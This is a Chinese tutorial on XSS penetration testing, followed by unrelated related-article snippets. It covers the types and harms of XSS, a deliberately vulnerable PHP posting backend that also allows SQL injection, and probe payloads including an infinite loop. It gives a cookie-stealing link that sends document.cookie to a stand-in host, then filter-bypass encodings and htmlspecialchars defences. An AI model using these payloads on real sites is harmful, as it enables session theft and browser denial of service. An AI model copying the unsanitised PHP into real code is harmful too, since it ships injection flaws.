Web渗透之XSS注入

XSS的类型

1、反射型XSS

我们构建好一个urlXSS的payload,发送给受害者,受害者点击恶意链接后会在受害者的浏览器上执行恶意代码。反射型XSS是一次性的,而且比较容易被发现。通常恶意链接会被修改成短链接,或钓鱼图片的形式。

2、存储型XSS

存储型又叫永久性XSS,常见于留言板。因为存储型XSS的页面会将用户输入的内容存入到数据库内,所以当其他人每访问一次的时候,服务器都会从数据库将攻击者输入的内容调取到前端浏览器解析,因此每一次访问就相当于一次XSS攻击。

3、DOM型XSS

不与服务器交互,本质上也是一种反射型XSS。主要利用js使用dom对前端html进行操作时候产生的漏洞。DOM型XSS的难点就在于通过阅读JavaScript来确定输出的位置,才好构建输入的payload。

DOM型XSS可通过开发者工具观察js变化

XSS的危害

(1) 网页挂马,利用浏览器挖等:https://www.sohu.com/a/233384944354899

(2) 盗取用户Coolie并扮演用户角色。

(3) DOS(拒绝服务) 客户端浏览器。

(4) 钓鱼攻击,高级的钓鱼技巧。

(5) 删除目标文章、恶意篡改数据、嫁祸。

(6) 劫持用户用户Web行为,甚至进一步渗透内网。

(7) 爆发Web 2.0蠕虫 :https://www.cnblogs.com/jason-jiang/articles/607070.html

(8) 蠕虫式的DDoS攻击。

(9) 蠕虫式挂马攻击、刷广告、刷流量,破坏网上数据。

一言以蔽之,具体要实现何种危害,完全取决于你的JavaScript代码执行何种功能

构建XSS漏洞环境

一、PHP的发帖功能

1、前端页面

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatiable" content="IE=edge"><meta name="viewport" content="width=device-width,initial-sacle=1.0"><title>登录蜗牛笔记</title><style>div_x{width: 300px;height: 40px;border: solid 1px rgb(204, 83, 144);margin: auto;}.login{width: 350px;height: 50px;border: solid 0px red;margin: auto;text-align: center;}.footer{width: 500px;height: 50px;border: solid 0px blue;margin: auto;text-align: center;}.top-100{margin: 100px;}.font-30{font-size: 30px;}input{width: 300px;height: 35px;text-align: center;border-radius: 5px;}input[name="vcode"]{width: 200px;}button{width: 310px;height: 40px;background-color: dodgerblue;color: whitesmoke;border-radius: 5px;}</style>
</head>
<body style="background-image: url(./image/1.JPG); background-size: cover;"><div class="login top-100 font-30">登  录</div><form action="login.php" method="get"><div class="login"><input type="text" name="username" /></div><div class="login"><input type="password" name="password"></div><div class="login"><input type="text" name="vcode" />&nbsp;&nbsp;&nbsp;<img src="vcode.php"/></div><div class="login"><button type="submit">登录</button></div></form>
<div class="footer top-100">版权归我所有</div>
</body>
</html>

2、后台代码

<?phpinclude "common.php";  //引入公共函数库// 获取前端提交的数据和session变量
$headline = $_POST['headline'];
$content = $_POST['content'];
$author = $_SESSION['username'];// 将文章数据插入数据库,并根据运行结果输出成功与否的标志
$conn = create_connection_oop();
$sql = "insert into learn3(author,headline,content,viewcount,creattime)values('$author','$headline','$content',1,now())";
$conn->query($sql) or die('add-fail');echo "add-success";?>

3、发帖试探

<img src="./image/1.JPG" onclick="location.href=\'http://woniuxy.com\'" />
//由于该漏洞环境没有完善单引号,所以我们将需转入网站的单引号进行转义<script>var result = 1;
while (true) {result--;
}
</script>
该js代码是一个死循环,进行查看的时候会消耗我们的CPU,该例子就不做演示了<button onclick="alert(document.cookie)">点我有惊喜</button>

XSS攻防与绕过

XSS的攻击与防御

1、XSS利用方式

(1)获取用户Cookie,实现越权,如果是获取网站管理员的Cookie,也可以叫提权。注意一下尽快注销账号,删除Session,让Session失效

(2)钓鱼网站,模拟真实的网站的登录页面,获取用户信息(用户名密码等),再跳转到真实网站

(3)执行JS代码,用于DDOS攻击别的目标站点,在站点A上植入XSS代码,向站点B发起请求,当用户量大的时候,实现了DDOS攻击

(4)恶意链接让用户点击,或者直接将网页植入到站点的<iframe>标签中

www.woniux.com/security.textxss.php?content=<script>location.href="http://xxx.com/xss.php?cookie="+document.cookie;</script>

将上述代码以短网址的方式发送,用户点击短网址再进行访问

(5)当用户点击并访问到恶意站点:<a href="http://xxxx.com/xss.html">,在xss.html的网页中,可以执行JS代码,一方面提供正常的网站功能,另外一方面隐藏着DOS或挖矿代码,让用户浏览器执行

2、测试方法

(1)反射性XSS测试的时候,可以使用扫描器,或者burp进行fuzz

(2)存储型XSS测试的时候,可以直接把字典中的payload都塞进去,根据弹窗的编号,就知道是哪个。但这个容易被发现,所以可以先试探一下特殊符号是否被过滤

(3)DOM型XSS测试,主要以阅读js代码为主,在页面上找到输入点的相关dom节点,在开发者选项中搜索一下,根据搜索结果去看是否被相关的JS操作,如果有js的操作,就去看我们的输入操作后输出在哪个地方,就按照常规的XSS思路进行构建

扫描器,要么直接对一个URL地址进行XSS的Payload攻击,确认该URL地址在哪些Payload上存在XSS,另外一个思路是对整个网站使用爬虫手段先爬取URL地址,然后再批量处理。

3、防御手段

(1)做实体字符编码,htmlspecialchars(),函数功能就是把特殊符号,比如尖括号,引号转换成实体编码,这样就不会在输入的地方去干扰页面源代码。经过实体字符编码后,用户输入的特殊符号在源代码中就变成编码,但是在页面输出的时候,还是会显示成原来的样子。当输出位置在元素内容里面,并且被实体编码后,基本上就没有XSS的可能了。

http://localhost/security/testxss.php?content=<script>alert(1)</script>
$content = htmlspecialchars($_GET['content']);

http://localhost/security/testxss.php?content=Hello" onclick="alter(1)
$content = htmlspecialchars($_GET['content']);

(2)正则表达式或字符串判断

实体字符编码如果输出在事件属性中,还是有可能存在绕过的可能性。比如在a标签中,<a href=javascript:alert(1)>,这种形式,没有尖括号也没有引号,就有可能被绕过。如果存在类似这种的情况,需要在链接属性中加上http://或https://的正则表达式来限制。

XSS的绕过方式

1、绕过过滤

(1)前端限制,直接用F12开发者选项修改js或HTML代码即可,或者用burpsuite绕过

(2)字符过滤,双写(onclick ononclickclick),大小写绕过(ONClick),通过注释符绕过(//,/**/),也可以通过换行符绕过(%0A,%0D)

(3)HTML实体转移

字符实体是用一个编号写入HTML代码中来代替一个字符,在使用浏览器访问网页时会将这个编号解析还原为字符以供阅读

javascript:alert("Hello Woniu")编码为:

十六进制:6A006100760061007300630072006900700074003A0061006C0065007200740028002200480065006C006C006F00200057006F006E006900750022002900十进制:ASCII->UNICODE
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;
&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;
&#40;&#34;&#72;&#101;&#108;&#108;&#111;&#32;&#87;
&#111;&#110;&#105;&#117;&#34;&#41;

2、绕过编码

明确浏览器解析的机制,明白机制后,选择对应的编码

3、其他技巧

(1)输出在标签间的情况:测试<>是否被过滤或转义,若无则直接<img src=1 οnerrοr=alert(1)>

(2)输出在script标签内:我们需要在保证内部JS语法正确的前提下,去插入我们的payload。如果我们的输出在字符串内部,测试字符串能否被闭合。如果我们无法闭合包裹字符串的引号,这个点就很难利用了。可能的解决方案:可以控制两处输入且\可用、存在宽字节

(3)输出在HTML属性内:首先查看属性是否有双引号包裹、没有则直接添加新的事件属性;有双引号包裹则测试双引号是否可用,可用则闭合属性之后添加新的事件属性;TIP:HTML的属性,如果被进行HTML实体编码(形如'&#x27),那么HTML会对其进行自动解码,从而我们可以在属性里以HTML实体编码的方式引入任意字符,从而方便我们在事件属性里以JS的方式构造payload。

(4)输出在JS中,空格被过滤:使用/**/代替空格,或者在XSS代码后对其代码进行注释。

(5)输出在JS注释中:设法插入%0A,%0D等,使其逃逸出来。

(6)输出在JS字符串内:可以利用JS的十六进制、八进制、unicode编码。

(7)输出在src/href/action等属性内:可以利用javascript:alert(1),以及data:text/html;base64;加上base64编码后的HTML。

(8)当我们的XSSpayload位于这些标签中间时,并不会解析,除非我们把它们闭合掉。

<textarea></textarea>
<title></title>
<iframe></iframe>
<noscript></noscript>
<noframes></noframes>
<xmp></xmp>
<plaintext></plaintext>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/76962.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【Nginx】Nginx代理Tomcat配置及404问题解决

当Tomcat返回HTTP 404未找到错误时&#xff0c;可以通过以下两种方式设置跳转到指定地址&#xff1a; ① 在Tomcat应用内部配置错误页面跳转&#xff08;直接修改Tomcat的Web应用配置&#xff09; ② 在Nginx反向代理层拦截404错误并跳转&#xff08;无需修改Tomcat&#xff0c…

某公司网络OSPF单区域配置

1.配置背景&#xff1a; xx公司网络由三台路由器和一台交换机组成&#xff0c;现在想要三台路由器之间通过OSPF实现互连互通。 2.网络结构如下&#xff1a; 3.具体配置&#xff1a; 3.1路由器 RA 配置&#xff1a; 1.更改主机名称&#xff1a; Router>en Router#conf t…

电脑知识 | TCP通俗易懂详解 <一>

目录 一、&#x1f44b;&#x1f3fb;前言 二、&#x1f68d;什么是TCP/TCP协议 三、&#x1f9cd;‍♂为什么TCP可靠 1.&#x1f970;关于可靠 2.&#x1f920;哪里可靠 3.&#x1f393;️图片的三次握手&#xff0c;四次挥手 4.&#x1f4da;️知识点总结 四、&…

MyBatis 中 Mapper 传递参数的多种方法

# MyBatis Mapper 传递参数的多种方法及其优势 在使用 MyBatis 进行数据库操作时&#xff0c;Mapper 接口的参数传递是一个非常基础但又十分重要的部分。不同的参数传递方式适用于不同的场景&#xff0c;合理选择可以大大提高代码的可读性和维护性。本文将详细介绍几种常见的 …

Dify 插件开发笔记

Dify 插件开发 开发流程 #mermaid-svg-U9rSMmcbWvcGcFMu {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-U9rSMmcbWvcGcFMu .error-icon{fill:#552222;}#mermaid-svg-U9rSMmcbWvcGcFMu .error-text{fill:#552222;st…

行星际激波在日球层中的传播:Propagation of Interplanetary Shocks in the Heliosphere (第二部分)

行星际激波在日球层中的传播&#xff1a;Propagation of Interplanetary Shocks in the Heliosphere &#xff08;第一部分&#xff09;- Chapter 1: Introduction & Chapter 2: Basics of Magnetohydrodynamics 行星际激波在日球层中的传播&#xff1a;Propagation of In…

巴法云平台-TCP设备云-微信小程序实时接收显示数据-原理

微信小程序通过WebSocket或HTTP长轮询连接平台&#xff08;而非直接使用TCP&#xff09;&#xff01;&#xff01;&#xff01; 物联网平台对协议层的一种封装设计——将底层通信协议&#xff08;如TCP&#xff09;与应用层业务逻辑&#xff08;如主题路由&#xff09;解耦&am…

QT Sqlite数据库-教程002 查询数据-上

【1】DQL语句&#xff1a; DQL语句&#xff08;数据查询语言&#xff09;&#xff0c;用来查询数据记录。DQL 基本结构由 SELECT FROM、WHERE、JOIN 等子句构成。DQL 语句并不会改变数据库&#xff0c;而是让数据库将查询结果发送结果集给客户端&#xff0c;返回的结果是一张虚…

基础数学:线性代数与优化理论

本篇文章简单带您复习线性代数与优化理论&#xff08;主要是我发表的文章中涉及过的或相关联的&#xff09; 微积分和概率与统计由此进&#xff1a;基础数学&#xff1a;微积分和概率与统计-CSDN博客 图论与信息论由此进&#xff1a;基础数学&#xff1a;图论与信息论-CSDN博…

java android持久化数据

1. SQLite 数据库&#xff08;Android 内置&#xff09; 1.1 创建数据库帮助类 public class DatabaseHelper extends SQLiteOpenHelper {private static final String DATABASE_NAME "MyDatabase.db";private static final int DATABASE_VERSION 1;// 表名和列名…

鸿蒙动画与交互设计:ArkUI 3D变换与手势事件详解

大家好&#xff0c;我是 V 哥。 在鸿蒙 NEXT 开发中&#xff0c;ArkUI 提供了丰富的 3D 变换和手势事件功能&#xff0c;可用于创建生动且交互性强的用户界面。下面详细介绍 ArkUI 的 3D 变换和手势事件&#xff0c;并给出相应的 ArkTS 案例代码。 1. ArkUI 3D 变换 ArkUI 支…

HTTP 和 HTTPS 协议的区别及使用场景

在互联网的世界里,HTTP 和 HTTPS 是我们经常接触到的两种网络协议,它们在数据传输、安全性等方面存在诸多差异,适用的场景也各有不同。​ 一、HTTP 和 HTTPS 的基本概念​ HTTP,即超文本传输协议(Hyper - Text Transfer Protocol),是一种用于分布式、协作式和超媒体信息…

【微服务管理】注册中心:分布式系统的基石

在分布式系统日益普及的当下&#xff0c;如何高效地管理众多服务实例成为关键问题。注册中心应运而生&#xff0c;它犹如分布式系统的 “指挥中枢”&#xff0c;承担着服务注册、发现等核心任务&#xff0c;为整个系统的稳定运行和高效协作提供坚实保障。本文将深入探讨注册中心…

高并发短信系统设计:基于SharingJDBC的分库分表、大数据同步与实时计算方案

高并发短信系统设计&#xff1a;基于SharingJDBC的分库分表、大数据同步与实时计算方案 一、概述 在当今互联网应用中&#xff0c;短信服务是极为重要的一环。面对每天发送2000万条短信的需求&#xff0c;我们需要一个能够处理海量数据&#xff08;一年下来达到数千万亿级别&…

2025最新系统 Git 教程(七)(完结)

第4章 分布式Git 4.1 分布式 Git - 分布式工作流程 你现在拥有了一个远程 Git 版本库&#xff0c;能为所有开发者共享代码提供服务&#xff0c;在一个本地工作流程下&#xff0c;你也已经熟悉了基本 Git 命令。你现在可以学习如何利用 Git 提供的一些分布式工作流程了。 这一…

OpenCV 图像旋转

一、OpenCV 图像旋转介绍 在计算机视觉和图像处理领域&#xff0c;图像旋转是指将图像围绕某个中心点按照一定的角度进行转动。旋转操作会改变图像中像素的位置&#xff0c;从而得到新的图像布局。这一操作在很多场景中都有重要应用&#xff0c;比如文档矫正、目标检测时对图像…

<C#>在 .NET 开发中,依赖注入, 注册一个接口的多个实现

在 .NET 开发里&#xff0c;有时一个接口会有多个实现类&#xff0c;此时就需要向依赖注入容器注册多个实现。下面会详细介绍不同场景下如何注册多个实现&#xff0c;以及怎样从容器中解析这些实现。 1. 注册多个实现 在 .NET 中&#xff0c;依赖注入容器可以通过不同方式注册…

idea 保存格式化 但是不格式化 Xml

xml- 其他 - 保持空格勾选上 https://blog.csdn.net/m0_65724734/article/details/128378290?spm1001.2101.3001.6650.8&utm_mediumdistribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7ERate-9-128378290-blog-135147277.235%5Ev43%5Epc_blog_bo…

如何在C++中优雅地绘制图表

如何在C项目中优雅地绘制图表 matplotlibpreparematplotlibcpp.hpython3vs configuretest Gnuplotpreparegnuplotgnuplot-iostream.hboostvs configuretest MathGL 在C项目中&#xff0c;在进行一些数据分析时往往不够直观&#xff0c;若能借助图表进行分析可以达到事半功倍的效…

vue3使用keep-alive缓存组件与踩坑日记

目录 一.了解一下KeepAlive 二.使用keep-alive标签缓存组件 1.声明Home页面名称 三.在路由出口使用keep-alive标签 四.踩坑点1&#xff1a;可能需要配置路由&#xff08;第三点完成后有效可忽略&#xff09; 五.踩坑点2&#xff1a;没有找到正确的路由出口 一.了解一下Kee…